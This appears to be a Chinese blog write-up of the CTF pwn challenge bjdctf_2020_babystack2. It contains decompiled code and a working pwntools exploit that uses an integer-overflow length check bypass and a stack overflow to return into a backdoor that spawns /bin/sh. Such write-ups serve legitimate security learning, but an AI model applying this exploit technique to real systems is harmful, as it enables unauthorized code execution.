• 【CTF】bjdctf_2020_babystack2


    题目分析

    反编译,查找漏洞

    main函数:

    undefined8 main(void)
    {
      undefined local_18 [12];
      uint local_c;
      
      setvbuf(stdout,(char *)0x0,2,0);
      setvbuf(stdin,(char *)0x0,1,0);
      local_c = 0;
      puts("**********************************");
      puts("*     Welcome to the BJDCTF!     *");
      puts("* And Welcome to the bin world!  *");
      puts("*  Let\'s try to pwn the world!   *");
      puts("* Please told me u answer loudly!*");
      puts("[+]Are u ready?");
      puts("[+]Please input the length of your name:");
      __isoc99_scanf(&DAT_004009c1,&local_c);
      if (10 < (int)local_c) {
        puts("Oops,u name is too long!");
                        /* WARNING: Subroutine does not return */
        exit(-1);
      }
      puts("[+]What\'s u name?");
      read(0,local_18,(ulong)local_c);
      return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    backdoor函数:

    undefined8 backdoor(void)
    {
      system("/bin/sh");
      return 1;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    题目意思很明显了,后门函数已经提供了,只要能跳过去就行了。
    再看main函数,read函数很明显就是个利用点,利用变量local_c就可以制造溢出。
    当然,不会这么简单,前面有长度限制的判断

    if (10 < (int)local_c)
    
    • 1

    不过,这个也简单,对不对?整型溢出啊,整一个负数,直接就成了啊~~~
    事实证明,思路完全正确,但是过程太曲折,简单描述下:
    本机溢出会失败,在ubuntu上,输入-1,read时会直接返回;在windows上实验,输入-1,read会弹出窗,提示
    buf len < INT_MAX条件不满足,这下很明显了,read有输入限制。又研究了很久,发现无解,因为要过长度限制,
    必须使用负数,否则不能溢出,而即使INT_MIN,转换为无符号数,仍为2147483648,还是> INT_MAX;一时间
    搞的我怀疑人生。

    解题思路

    思路就是上面题目分析的过程,完全正确,直接拿靶机验证是OK的,-1能过长度限制,同时read不报错(欲哭无泪)

    from pwn import *
    sh = connect("node4.buuoj.cn",27462)
    sh.recvuntil("name:\n")
    print("recv name length")
    sh.sendline('-1'.encode())
    print("send name length")
    sh.recvline()
    
    pad = 'A'*24
    payload = pad.encode() + p64(0x00400726)
    sh.sendline(payload)
    
    sh.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    没法本地验证导致的后果,就是溢出长度是猜出来的。

    总结

    思路没毛病的时候,及时测靶机。不过调一调本机还是有意思的,虽然没找到最终结果,比如ubuntu上,写了一个测试demo,去掉长度验证,结果read只要不大于3652就没问题,超过时errno就会报Bad address,跟windows上还不一样,但是3652这个值感觉没有任何意义,又怀疑人生了~~~下班了不纠结了,后面有调glibc的机会时候再看看。

  • 相关阅读:
    Java msyql批量插入 十万条数据
    Revit相关插件如何实现【风管分割】功能?
    中英文拼写检测纠正开源项目使用入门 word-checker 1.1.0
    面试突击42:synchronized和ReentrantLock有什么区别?
    2、浮动的用法特点,解决父元素高度塌陷解决
    1.3 Flask_request对象url反向解析
    String类的常用方法(Java)
    基于SSM实现家政管理平台的开发和实现
    Python3:与C/C++语言的混合编程
    数据库表设计(一):设计规范和命名规范
  • 原文地址:https://blog.csdn.net/u011317663/article/details/125549700